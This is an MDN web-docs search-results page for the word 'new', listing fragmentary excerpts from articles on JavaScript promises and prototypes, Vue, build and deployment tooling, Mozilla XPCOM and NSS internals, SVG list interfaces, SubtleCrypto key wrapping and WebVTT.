new promise that resolves when the .then() block is done running. clever, right? using arrow functions, you can simplify the code even further: choosetoppings() .then(toppings => placeorder(toppings) ) .then(order => collectorder(order) ) .then(pizza => eatpizza(pizza) ) .catch(failurecallback); or even this: choosetoppings() .then(toppings => placeorder(toppings)) .then(order => collectord...
...ilure. instead, they succeed, but with the response.ok property set to false. to produce an error on a 404, for example, we need to check the value of response.ok, and if false, throw an error, only returning the blob if it is true. this can be done like so — add the following lines below your first line of javascript. let promise2 = promise.then(response => { if (!response.ok) { throw
new error(`http error! status: ${response.status}`); } else { return response.blob(); } }); each call to .then() creates a
new promise. this is very useful; because the blob() method also returns a promise, we can handle the blob object it returns on fulfillment by invoking the .then() method of the second promise. because we want to do something a bit more complex to the blob than just...
...And 8 more matches
Object prototypes - Learn web development
f doing things, which provides easier syntax to achieve the same things — see ecmascript 2015 classes. prerequisites: understanding javascript functions, familiarity with javascript basics (see first steps and building blocks), and oojs basics (see introduction to objects). objective: to understand javascript object prototypes, how prototype chains work, and how to add
new methods onto the prototype property. a prototype-based language? javascript is often described as a prototype-based language — to provide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties from. an object's prototype object may also have a prototype object, which it inherits methods and properties from, and so on. t...
...by walking up the chain of prototypes. note: it's important to understand that there is a distinction between an object's prototype (available via object.getprototypeof(obj), or via the deprecated __proto__ property) and the prototype property on constructor functions. the former is the property on each instance, and the latter is the property on the constructor. that is, object.getprototypeof(
new foobar()) refers to the same object as foobar.prototype. let's look at an example to make this a bit clearer. understanding prototype objects here we'll go back to the example in which we finished writing our person() constructor — load the example in your browser. you can use our oojs-class-further-exercises.html example (see also the source code), if you don't already have it from working...
......
...And 8 more matches
Vue conditional rendering: editing existing todos - Learn web development
allation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to do conditional rendering in vue. creating an editing component we can start by creating a separate component to handle the editing functionality. ...
...separate component to handle the editing functionality. in your components directory, create a
new file called todoitemeditform.vue. ...
...abel}}</span> </button> <button type="submit" class="btn btn__primary"> save <span class="visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <script> export default { props: { label: { type: string, required: true }, id: { type: string, required: true } }, data() { return {
newlabel: this.label }; }, methods: { onsubmit() { if (this.
newlabel && this.
newlabel !== this.label) { this.$emit("item-edited", this.
newlabel); } }, oncancel() { this.$emit("edit-cancelled"); } } }; </script> <style scoped> .edit-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; ...
...And 8 more matches
Introduction to automated testing - Learn web development
rminal: npm install npm@latest -g note: if the above command fails with permissions errors, fixing npm permissions should sort you out. to start using node/npm-based packages on your projects, you need to set up your project directories as npm projects. this is easy to do. for example, let's first create a test directory to allow us to play without fear of breaking anything. ...
... bear in mind that such tools won't work on internal js/css — you need external files. first, install gulp globally (meaning, it will be available across all projects) using the following command: npm install --global gulp-cli next, run the following command inside your npm project directory root to set up gulp as a dependency of your project: npm install --save-dev gulp now create a
new file inside your project directory called gulpfile.js. this is the file that will run all our tasks. inside this file, put the following: const gulp = require('gulp'); gulp.task('default', function() { console.log('gulp running'); }); this requires the gulp module we installed earlier, and then runs a basic task that does nothing except for printing a message to the terminal — this is us...
...ome real tasks to gulp, we need to think about what we want to do. a reasonable set of basic functionalities to run on our project is as follows: html-tidy, css-lint, and js-hint to lint and report/fix common html/css/js errors (see gulp-htmltidy, gulp-csslint, gulp-jshint). autoprefixer to scan our css and add vendor prefixes only where needed (see gulp-autoprefixer). babel to transpile any
new javascript syntax features to traditional syntax that works in older browsers (see gulp-babel). see the links above for full instructions on the different gulp packages we are using. to use each plugin, you need to first install it via npm, then require any dependencies at the top of the gulpfile.js file, then add your test(s) to the bottom of it, and finally add the name of your task inside t...
...And 8 more matches
Deploying our app - Learn web development
nsuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted". running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests prevent deployment. actually deploying the updated code to a live url: or potentially a staging url so it can be reviewed first. note: cache busting is a
new term that we haven't met before in the module. this is the strategy of breaking a browser's own caching mechanism, which forces the browser to download a
new copy of your code. parcel (and indeed many other tools) will generate filenames that are unique to each
new build. this unique filename "busts" your browser's cache, thereby making sure the browser downloads the fresh code each time an updat...
...progress or to have a pre-release for some other purpose. netlify, amongst other things, also allows you to run pre-deployment tasks, which in our case means that all the production code build processes can be performed inside of netlify and if the build is successful, the website changes will be deployed. although netlify offers a drag and drop deployment service, we are intending to trigger a
new deployment to netlify each time we push to a github repo. it's exactly these kinds of connected services that we would encourage you to look for when deciding on your own build toolchain. we can commit our code and push to github and the updated code will automatically trigger the entire build routine. if all is well, we get a live change deployed automatically. the only action we need to perfor...
...ng parcel for development, the build option is extremely simple to add. instead of running the server with npx parcel src/index.html, we can run it with npx parcel build src/index.html and parcel will build everything ready for production instead of just running it for development and testing purposes. this includes doing minification and tree-shaking of code, and cache-busting on filenames. the
newly-created production code is placed in a
new directory called dist, which contains all the files required to run the website, ready for you to upload to a server. however, doing this step manually isn't our final aim — what we want is for the build to happen automatically and the result of the dist directory to be deployed live on our website. this is where our code, github, and netlify need ...
...And 8 more matches
Creating Sandboxed HTTP Connections
cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom. setting up an http connection the first step in setting up an http connection from an url (stored in a string) is to create an nsiuri out of it. nsiuri is an xpcom representation of an uri, with useful methods to query and manipulate the uri. ...
...siuri out of it. nsiuri is an xpcom representation of an uri, with useful methods to query and manipulate the uri. to create an nsiuri from an string, we use the
newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.
newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's
newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.
newchannelfromuri(uri); to initiate the connection, the asyncopen method is called. it takes two arguments: a listener and a context that is passed to the listener's methods. channel.asynco...
...nelfromuri(uri); to initiate the connection, the asyncopen method is called. it takes two arguments: a listener and a context that is passed to the listener's methods. channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability. onstartrequest - gets called when a
new request is initiated. ondataavailable -
new data is available. since this is a stream, it could be called multiple times (depending on the size of the returned data, networking conditions, etc). onstoprequest - the request has finished. onchannelredirect - when a redirect happens, a
new nsichannel is created, and both the old and
new ones are passed in as arguments. since nsistreamlistene...
...And 8 more matches
Multiple Firefox profiles
et of bookmarks, settings, and add-ons. web developers might want a secondary profile for testing websites, apps, or other projects on different firefox channels. for example, you might want to have some extensions installed for web development, but not for general-purpose web browsing. ...
...ome add-ons that have become temporarily incompatible with
new api changes, until the add-on developer has a chance to update them. you can remove such add-ons from your profile for nightly use while keeping them for use with other profiles. for qa, testing, and bug triaging contributors, you may want to have multiple development versions of firefox installed, each with its own profile. creating
new profiles for testing can keep you from losing your preferences, bookmarks, and history. it takes little time to set up a
new profile, and once it is complete, all of your firefox versions will update separately and can be run simultaneously. available browser development channels there are four available browser channels, each at a different level of stability and development. the four channels...
...firefox developer edition or nightly. then follow the instructions below, applicable to your operating system. from profile manager inside firefox if you already have firefox instance running, you can open another profile from the integrated profile manager on any platform: type about:profiles into the browser url search bar. find the profile you want to use. press the “launch profile in
new browser” button next to it. windows windows xp click the start button. click "run". type firefox --
new-instance--profilemanager. windows vista/7 click the start button. click the search bar at the bottom. type firefox --
new-instance --profilemanager. windows 8/8.1/10 press "windows + r" on your keyboard. type firefox --
new-instance --profilemanager. linux if fi...
...And 8 more matches
An overview of NSS Internals
because of nss's expectation to operate with an nss database, it's mandatory that you perform an initialization call, where you tell nss which database you will be using. in the most simple scenario, the programmer will provide a directory on your filesystem as a parameter to the init function, and nss is designed to do the rest. it will detect and open an existing database, or it can create a
new one. alternatively, should you decide that you don't want to work with any persistent recording of certificates, you may initialize nss in a no-database mode. usually, nss will flush all data to disk as soon as
new data has been added to permanent storage. storage consists of multiple files: a key database file, which contains your secret keys, and a certificate database file which contains the p...
...n certificates, the certificates of peers or cas, and a list of trust decisions (such as to not trust a built-in ca, or to explicitly trust other cas). examples for the database files are key3.db and cert8.db, where the numbers are file version numbers. a third file contains the list of external pkcs#11 modules that have been registered to be used by nss. the file could be named secmod.db, but in
newer database generations a file named pkcs11.txt is used. only nss is allowed to access and manipulate these database files directly; a programmer using nss must go through the apis offered by nss to manipulate the data stored in these files. the programmer's task is to initialize nss with the required parameters (such as a database), and nss will then transparently manage the database files. ...
...ty. the less code that has access to raw secret keys, the less code that must be reviewed. nss has only limited functionality to look up raw keys. the preferred approach is to use certificates, and to look up certificates by properties such as the contained subject name (information that describes the owner of the certificate). for example, while nss supports random calculation (creation) of a
new public/private key pair, it's difficult to work with such a raw key pair. the usual approach is to create a certificate signing request (csr) as soon as an application is done with the creation step, which will have created a handle to the key pair, and which can be used for the necessary related operations, like producing a proof-of-ownership of the private key, which is usually required when su...
...And 8 more matches
NSS 3.24 release notes
introduction the network security services (nss) team has released nss 3.24, which is a minor release. distribution information the hg tag is nss_3_24_rtm. nss 3.24 requires netscape portable runtime (nspr) 4.12 or
newer. ...
...twork security services (nss) team has released nss 3.24, which is a minor release. distribution information the hg tag is nss_3_24_rtm. nss 3.24 requires netscape portable runtime (nspr) 4.12 or
newer. nss 3.24 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_24_rtm/src/
new in nss 3.24 nss 3.24 includes two nss softoken updates, a
new function to configure ssl/tls server sockets, and two functions to improve the use of temporary arenas. ...
...these checks have been disabled by default, as they can cause a performance regression. ...
...And 8 more matches
Web Replay
"enable webreplay". web replay's features can only be used in a tab that is recording or replaying. there are a few ways to start recording a tab: record current tab open the developer tools and click the button indicated below. this will refresh the tab and start recording. the button will be colored blue when the tab is being recorded. it can be clicked again to stop recording. open a
new tab in recording mode click the 'tools -> web developer -> web replay -> reload and record tab' menu item. this has the same effect as above but can be used when the developer tools are not open. open a saved recording in a
new tab click the 'tools -> web developer -> web replay -> open
new recording tab' menu item to open a
new blank tab that is recorded. live rewinding at any time whi...
...eracting with the tab, press the pause button and then the play button to run forward to the end of the recording. save recording and replay on the same machine clicking the 'tools -> web developer -> web replay -> save recording' menu item when a recording tab is open will allow the entire recording to be saved to a file. clicking the 'tools -> web developer -> web replay -> load recording in
new tab' menu item will start a
new tab which replays the recording to the end. the developer tools can be used to interact with this tab in the same way as a recording tab, though playing forward to the end will pause the tab instead of allowing further recording. save recording and replay on a different machine (partially implemented) recordings can be replayed on a different machine from the on...
...hot all addressable memory in the process is enumerated and write-protected, and as faults occur a special exception handler thread unprotects the memory, copies its contents and marks it as dirty. when the next snapshot is taken, only the dirty memory is examined for any changes vs. the copy made. this mechanism requires intercepting mmap (or similar low level allocation functions) so that any
newly addressable memory is known — anonymous mappings would not otherwise be intercepted or included in the recording, as heap allocation is non-deterministic while replaying. mprotect is intercepted and nop'ed to avoid interference with the dirty memory mechanism, and munmap is intercepted with no actual unmapping performed, so that memory does not need to be remapped when restoring a snapshot (...
...And 8 more matches
Introduction to XPCOM for the DOM
code or to work with the existing framework. the numerous macros and facilities brought by the dom, as well as nscomptr's, make our life much easier. in this chapter i will attempt to cover the most widespread use of xpcom in the dom, avoiding the details as much as possible. i will introduce nscomptr's, interfaces, reference counting, and the nsisupports interface. a tutorial about how to add a
new interface is also provided, and eventually, a more detailed discussion of class inheritance in c++. interfaces object-oriented programming is based on the used of inheritance between classes. furthermore, a class can be de declared to be "abstract" if it declares some methods but does not implement them entirely. pushing this concept to its maximum, a class can be "purely virtual" if it declare...
...rived from" nsifoo, and that nsifoo is a "base class" of nsfoo. for this introduction you don't need to know more about object-oriented c++. however the section 1.f provides a more detailed discussion about it, and is necessary to understand most of the dom code. an instance of a class (called an object) can be allocated dynamically (on the heap, or free store), using the syntax nsfoo *fooptr =
new nsfoo; that object can then be manipulated only through fooptr. let's consider what happens when the class nsfoo implements an interface nsifoo. you can manipulate the nsfoo object directly through fooptr, however your code will not be very robust. indeed, if someone decides to change the name or the signature of the methods you use, you will have to change all the calls to those methods throug...
... indeed, many interfaces in the mozilla code are frozen (this is indicated by the comment @frozen at the beginning of the interface definition). that means that the interface will never change anymore. the good thing is that your code will (in the best condition) last forever. the bad thing is that we have to find a way to improve those interfaces, and freezing them obliges implementers to create
new interfaces. in summary, manipulate an interface rather than its implementation whenever possible! a pointer to an interface nsifoo implemented by nsfoo can be declared as follows nsifoo *fooptr =
new nsfoo; a pointer such as fooptr is then called a "pointer to an interface nsifoo implemented by an instance of the nsfoo class", or "pointer to nsifoo" in short. from now on, when i speak of a "po...
...And 8 more matches
nsIDocShell
t); native code only! boolean isbeingdestroyed(); void loadstream(in nsiinputstream astream, in nsiuri auri, in acstring acontenttype, in acstring acontentcharset, in nsidocshellloadinfo aloadinfo); native code only! void loaduri(in nsiuri uri, in nsidocshellloadinfo loadinfo, in unsigned long aloadflags, in boolean firstparty); native code only! void preparefor
newcontentmodel(); void resumerefreshuris(); void setchildoffset(in unsigned long offset); native code only! void setcurrenturi(in nsiuri auri); void suspendrefreshuris(); void tabtotreeowner(in boolean forward, out boolean tookfocus); attributes attribute type description allowauth boolean certain dochshells (like th...
... as the frame element. this attribute allows chrome to tie in to handle dom events that may be of interest to chrome. contentviewer nsicontentviewer content viewer that is currently loaded for this docshell. this may change as the underlying content changes. read only. currentdocumentchannel nsichannel gets the channel for the currently loaded document, if any. for a
new document load, this will be the channel of the previous document until after onlocationchange fires. read only. documentcharsetinfo nsidocumentcharsetinfo the document character set info. this is used by a load to determine priorities for charset detection and so on. obsolete since gecko 12.0 note: the properties of the old nsidocumentcharsetinfo interface were merg...
...ell in some cases, such as when handling link clicks. docshells are not app tabs unless told otherwise. isexecutingonloadhandler boolean returns true if the docshell is currently executing the onload handler. read only. isinunload boolean find out whether the docshell is currently in the middle of a page transition (after the onunload event has fired, but before the
new document has been set up) read only. isoffscreenbrowser boolean if true, this docshell is not visible in the traditional sense, but is being actively rendered to the screen (such as by being painted to a canvas), and should be treated accordingly. layouthistorystate nsilayouthistorystate loadedtransindex long keeps track of the previous shtransacti...
...And 8 more matches
nsIMsgDBView
nsmsgviewsorttypevalue the type of sort being used (i.e. author, date, status, etc). sort types are defined in nsmsgviewsorttype. sortorder nsmsgviewsortordervalue readonly: constants are defined in nsmsgviewsortorder. keyforfirstselectedmessage nsmsgkey readonly: the key of the first message in the current selection. nsmsgkey is defined as an unsigned long in mail
newstypes2.idl. viewindexforfirstselectedmsg nsmsgviewindex readonly: the index of the first selected message. nsmsgviewindex is defined as a unsigned long in mail
newstypes2.idl. msgfolder nsimsgfolder readonly: the current folder. viewfolder nsimsgfolder uriforfirstselectedmessage acstring readonly: url of the first selected message. ...
... the first selected message. hdrforfirstselectedmessage nsimsgdbhdr readonly: header of the first selected message. numselected long readonly: the number of messages currently selected. msgtoselectafterdelete nsmsgviewindex readonly: the index of the message to select after the current one is deleted. nsmsgviewindex is defined as a unsigned long in mail
newstypes2.idl. currentlydisplayedmessage nsmsgviewindex readonly: the index of the currently displayed message. nsmsgviewindex is defined as a unsigned long in mail
newstypes2.idl. suppressmsgdisplay boolean suppress displaying messages. used when the message pane is collapsed. suppresscommandupdating boolean suppress command updating. used during folder l...
...sgviewindex resultindex, out nsmsgviewindex threadindex, in boolean wrap); parameters motion the nsmsgnavigationtypevalue. defined in the interface: nsmsgnavigationtype. wrap whether to wrap around messages from the last to first (or vice versa). return values resultid the key of the result message. nsmsgkey is defined as an unsigned long in mail
newstypes2.idl. resultindex the index of the result message. nsmsgviewindex is defined as a unsigned long in mail
newstypes2.idl. threadindex the index of the
new thread. nsmsgviewindex is defined as a unsigned long in mail
newstypes2.idl. navigatestatus() indicates if the passed motion type is currently valid. boolean navigatestatus(in nsmsgnavigationtypevalue motion); parameters motion ...
...And 8 more matches
Declaring types
eclared in terms of other, already defined types. at the core of all this is a set of predefined types provided by js-ctypes. these are all primitive types, upon which all other types are eventually based. primitive types primitive types are those types that represent a single value in memory, as opposed to arrays, structures, or functions. you can define values of these types without declaring
new types. for example, to define a
new 32-bit integer variable with the value 5: var i = ctypes.int32_t(5); you can then pass a pointer to this value to a c function that requires a pointer to a 32-bit integer, like this: some_c_function(i.address()); declaring
new primitive types there are times when you want to create
new types that are simply
new names for existing primitive types. for exa...
...using #pragma pack. field descriptors each field descriptor is comprised of a field name and its data type, represented as a string and a ctype object, respectively. the format, then, looks like this: [ { field1: type1 }, { field2: type2 }, ... ...
... { "tm_isdst": ctypes.int } ]); to find other types see here: predefined types - primitive types. you can then declare and use a function that uses this structure, like this: // declare the libc asctime() function, which returns a char * and accepts a pointer to a tm structure. const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); var thetime =
new struct_tm; thetime.tm_hour = 3; thetime.tm_min = 15; ... var timestr = asctime(thetime.address()); // pass a pointer to the tm struct var jsstring = timestr.readstring(); // convert the c string to javascript the last line converts the c string returned by the libc asctime() function into a javascript string by calling the cdata readstring() method. for another example see here: g...
...And 8 more matches
Web Console remoting - Firefox Developer Tools
actor lives in dbg-webconsole-actors.js, in the toolkit/devtools/webconsole folder. the webconsoleclient lives in webconsoleclient.jsm (in toolkit/devtools/webconsole) and it is used by the web console when working with the web console actor. to see how the debugger is used in the web console code, look in browser/devtools/webconsole/webconsole.js, and search for webconsoleconnectionproxy. the
new web console actors are: the webconsoleactor allows js evaluation, autocomplete, start/stop listeners, etc. the networkeventactor is used for each
new network request. the client can request further network event details - like response body or request headers. to attach to the webconsoleactor, follow these steps: connecttoserver() // the usual listtabs() pickthetabyouwant() debuggerclient.
...ile activity. for example: ["pageerror", "consoleapi", "networkactivity", "fileactivity"] the web console actor does not start any listeners by default. the client has the option to start each listener when needed. this approach allows for lower resource usage on the server - this is a potential issue if the server runs on devices with fewer resources. the onattachconsole callback receives a
new instance of the webconsoleclient object. this object provides methods that abstract away protocol packets, things like startlisteners(), stoplisteners(), etc. protocol packets look as follows: { "to": "root", "type": "listtabs" } { "from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", ...
...the consoleactor is also available as a global actor. when you attach to the global consoleactor you receive all of the network requests, page errors, and the other events from all of the tabs and windows, including chrome errors and network events. this actor is used for the browser console implementation and for debugging remote firefox/b2g instances. ...
...And 8 more matches
Document.createElement() - Web APIs
ts tagname to lower case before creating the element. in firefox, opera, and chrome, createelement(null) works like createelement("null"). options optional an optional elementcreationoptions object, containing a single property named is, whose value is the tag name of a custom element previously defined via customelements.define(). see web component example for more details. ...
...in firefox, opera, and chrome, createelement(null) works like createelement("null"). options optional an optional elementcreationoptions object, containing a single property named is, whose value is the tag name of a custom element previously defined via customelements.define(). see web component example for more details. return value the
new element. ...
...rn value the
new element. examples basic example this creates a
new <div> and inserts it before the element with the id "div1". ...
...And 8 more matches
Using files from web applications - Web APIs
using a label element to trigger a hidden file input element to allow opening the file picker without using javascript (the click() method), a <label> element can be used. note that in this case the input element must not be hidden using display: none (nor visibility: hidden), otherwise the label would not be keyboard-accessible. use the visually-...
...nction below. function handlefiles(files) { for (let i = 0; i < files.length; i++) { const file = files[i]; if (!file.type.startswith('image/')){ continue } const img = document.createelement("img"); img.classlist.add("obj"); img.file = file; preview.appendchild(img); // assuming that "preview" is the div output where the content will be displayed. const reader =
new filereader(); reader.onload = (function(aimg) { return function(e) { aimg.src = e.target.result; }; })(img); reader.readasdataurl(file); } } here our loop handling the user-selected files looks at each file's type attribute to see if its mime type begins with the string "image/"). for each file that is an image, we create a
new img element. css can be used to establish any pretty bord...
...nt. css can be used to establish any pretty borders or shadows and to specify the size of the image, so that doesn't need to be done here. each image has the css class obj added to it, making it easy to find in the dom tree. we also add a file attribute to each image specifying the file for the image; this will let us fetch the images for actual upload later. we use node.appendchild() to add the
new thumbnail to the preview area of our document. next, we establish the filereader to handle asynchronously loading the image and attaching it to the img element. after creating the
new filereader object, we set up its onload function and then call readasdataurl() to start the read operation in the background. when the entire contents of the image file are loaded, they are converted into a data: u...
...And 8 more matches
HTMLScriptElement - Web APIs
r browsers that do not support javascript modules. htmlscriptelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the script, and fetches done by that script. methods no specific methods; inherits methods from its parent, htmlelement. ...
... from its parent, htmlelement. examples dynamically importing scripts let's create a function that imports
new scripts within a document creating a <script> node immediately before the <script> that hosts the following code (through document.currentscript). these scripts will be asynchronously executed. for more details, see the defer and async properties. ...
...document creating a <script> node immediately before the <script> that hosts the following code (through document.currentscript). these scripts will be asynchronously executed. for more details, see the defer and async properties. ...
...And 8 more matches
SVGNumberList - Web APIs
cts. an svgnumberlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. note: starting in gecko 5.0,the svgnumberlist dom interface is now indexable and can be accessed like arrays. ...
... object will result in an exception being thrown. note: starting in gecko 5.0,the svgnumberlist dom interface is now indexable and can be accessed like arrays. ...
...ko 5.0,the svgnumberlist dom interface is now indexable and can be accessed like arrays. ...
...And 8 more matches
SVGPointList - Web APIs
ist defines a list of svgpoint objects. an svgpointlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...means that attempts to modify the object will result in an exception being thrown. ...
...hrown. ...
...And 8 more matches
SVGStringList - Web APIs
svg string list interface the svgstringlist defines a list of domstring objects. an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...mstring objects. an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
... which means that attempts to modify the object will result in an exception being thrown. ...
...And 8 more matches
SVGTransformList - Web APIs
gtransformlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...lt in an exception being thrown. ...
...list dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svgtransform initialize(in svgtransform
newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform
newitem, in unsigned long index) svgtransform replaceitem(in svgtransform
newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform
newitem) svgtransform createsvgtransformfrommatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd...
...And 8 more matches
SubtleCrypto.wrapKey() - Web APIs
raw wrap this example wraps an aes key. it uses "raw" as the export format and aes-kw, with a password-derived key, to encrypt it. see the complete code on github. let salt; /* get some key material to use as input to the derivekey method. the key material is a password supplied by the user. */ function getkeymaterial() { const password = window.prompt("enter your password"); const enc =
new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* given some key material and some random salt derive an aes-kw key using pbkdf2. */ function getkey(keymaterial, salt) { return window.crypto.subtle.derivekey( { "name": "pbkdf2", salt: salt, "iterations": 1...
...( { "name": "pbkdf2", salt: salt, "iterations": 100000, "hash": "sha-256" }, keymaterial, { "name": "aes-kw", "length": 256}, true, [ "wrapkey", "unwrapkey" ] ); } /* wrap the given key. */ async function wrapcryptokey(keytowrap) { // get the key encryption key const keymaterial = await getkeymaterial(); salt = window.crypto.getrandomvalues(
new uint8array(16)); const wrappingkey = await getkey(keymaterial, salt); return window.crypto.subtle.wrapkey( "raw", keytowrap, wrappingkey, "aes-kw" ); } /* generate an encrypt/decrypt secret key, then wrap it. */ window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256, }, true, ["encrypt", "decrypt"] ) .then((secretkey) => { return wrapcryptokey(...
...aps an rsa private signing key. it uses "pkcs8" as the export format and aes-gcm, with a password-derived key, to encrypt it. see the complete code on github. let salt; let iv; /* get some key material to use as input to the derivekey method. the key material is a password supplied by the user. */ function getkeymaterial() { const password = window.prompt("enter your password"); const enc =
new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* given some key material and some random salt derive an aes-gcm key using pbkdf2. */ function getkey(keymaterial, salt) { return window.crypto.subtle.derivekey( { "name": "pbkdf2", salt: salt, "iterations": ...
...And 8 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
you could die. webvtt body the structure of a webvtt consists of the following components, some of them optional, in this order: an optional byte order mark (bom). the string "webvtt". an optional text header to the right of webvtt. there must be at least one space after webvtt. you could use this to add a description to the file. you may use anything in the text header except
newlines or the string "-->". a blank line, which is equivalent to two consecutive
newlines. zero or more cues or comments. zero or more blank lines. example 1 - simplest possible webvtt file webvtt example 2 - very simple webvtt file with a text header webvtt - this file has no cues. example 3 - common webvtt example with a header and cues webvtt - this file has cues. 14 00:01:14.8...
...n the below section. it is important to not use "extra" blank lines within a cue, for example between the timings line and the cue payload. webvtt is line based; a blank line will close the cue. webvtt comments comments are an optional component that can be used to add information to a webvtt file. comments are intended for those reading the file and are not seen by users. comments may contain
newlines but cannot contain a blank line, which is equivalent to two consecutive
newlines. a blank line signifies the end of a comment. a comment cannot contain the string "-->", the ampersand character (&), or the less-than sign (<). if you wish to use such characters, you need to escape them using for example & for ampersand and < for less-than. it is also recommended that you use the great...
...>", the ampersand character (&), or the less-than sign (<). if you wish to use such characters, you need to escape them using for example & for ampersand and < for less-than. it is also recommended that you use the greater-than escape sequence (>) instead of the greater-than character (>) to avoid confusion with tags. a comment consists of three parts: the string note. a space or a
newline. zero or more characters other than those noted above. example 4 - common webvtt example note this is a comment example 5 - multi-line comment note one comment that is spanning more than one line. note you can also make a comment across more than one line this way. example 6 - common comment usage webvtt - translation of that film i like note this translation was done by kyle so t...
...And 8 more matches
Box-shadow generator - CSS: Cascading Style Sheets
; elem = document.queryselectorall('.ui-slider-btn-set'); size = elem.length; for (var i = 0; i < size; i++) setbuttoncomponent(elem[i]); elem = document.queryselectorall('.ui-slider-input'); size = elem.length; for (var i = 0; i < size; i++) setinputcomponent(elem[i]); elem = document.queryselectorall('.ui-slider'); size = elem.length; for (var i = 0; i < size; i++)
new slider(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); /** * ui-buttonmanager */ var buttonmanager = (function checkboxmanager() { var subscribers = []; var buttons = []; var checkbox = function checkbox(node) { var topic = node.getattribute('data-topic'); var state = node.getattribute('data-state'); var n...
...; subscribers[topic].splice(index, 1); } var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.checkbox.checked); } var init = function init() { var elem = document.queryselectorall('.ui-checkbox'); var size = elem.length; for (var i = 0; i < size; i++)
new checkbox(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); window.addeventlistener("load", function(){ boxshadow.init(); }); var boxshadow = (function boxshadow() { function getelembyid(id) { return document.getelementbyid(id); } /** * rgba color class */ function color() { this.r = 0; this.g = 0; th...
... 1) { a = 'a'; v = ', ' + this.a; } var value = "rgb" + a + rgb + v + ")"; return value; } color.prototype.getcolor = function getcolor() { if (this.a | 0 === 1) return this.gethexa(); return this.getrgba(); } /** * shadow object */ function shadow() { this.inset = false; this.posx = 5; this.posy = -5; this.blur = 5; this.spread = 0; this.color =
new color(); var hue = (math.random() * 360) | 0; var saturation = (math.random() * 75) | 0; var value = (math.random() * 50 + 50) | 0; this.color.sethsv(hue, saturation, value, 1); } shadow.prototype.computecss = function computecss() { var value = ""; if (this.inset === true) value += "inset "; value += this.posx + "px "; value += this.posy + "px "; value += this.blur +...
...And 8 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
mples are found from this period. html "0.c" - from january 23, 1991 though november 23, 1992 this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "attribute." html "0.d" - from november 26, 1992 through may 24, 1993 during this span, next and the oldest surviving dtd's show <nextid> to take only a number for a value of its
newly-introduced attribute n. html "1.k" - version 1 (first release) in this first published draft of html, <nextid> is the same as it would take in html 2, finally allowing the use of a name instead of only a number for its attribute value. html "1.m" - version 1 (second release) in the next published draft of html, <nextid> <nextid> can be individually deselected for display with a simple sgml ...
..., z5, z6, and z7 (and table of contents entries named z1, z2, and z3), each automatically given anchors with these names. the user then saves and closes the document. next would then add, within the header of the html document, a special tag, <nextid n="z8">, to inform where to continue its naming convention. imagine the web author opens the document for further editing. they want to add a couple
new sections after the second section, appending four more sections at the end. when opening the document, the next editor finds and reads this <nextid n="z8"> tag, and now knows to give the first of these
new sections the name of z8 in the table of contents, and z14 to the content body. this might look like this: <html> <head> <title> ... whatever ... </title> <link, meta, base,...
...tents, and z14 to the content body. this might look like this: <html> <head> <title> ... whatever ... </title> <link, meta, base, etc. ...
...And 8 more matches
Text formatting - JavaScript
reate simple strings using either single or double quotes: 'foo' "bar" more advanced strings can be created using escape sequences: hexadecimal escape sequences the number after \x is interpreted as a hexadecimal number. '\xa9' // "©" unicode escape sequences the unicode escape sequences require at least four hexadecimal digits following \u. '\u00a9' // "©" unicode code point escapes
new in ecmascript 2015. with unicode code point escapes, any character can be escaped using hexadecimal numbers so that it is possible to use unicode code points up to 0x10ffff. with simple unicode escapes it is often necessary to write the surrogate halves separately to achieve the same result. see also string.fromcodepoint() or string.prototype.codepointat(). '\u{2f804}' // the same with simple ...
... to use unicode code points up to 0x10ffff. with simple unicode escapes it is often necessary to write the surrogate halves separately to achieve the same result. see also string.fromcodepoint() or string.prototype.codepointat(). '\u{2f804}' // the same with simple unicode escapes '\ud87e\udc04' string objects the string object is a wrapper around the string primitive data type. const foo =
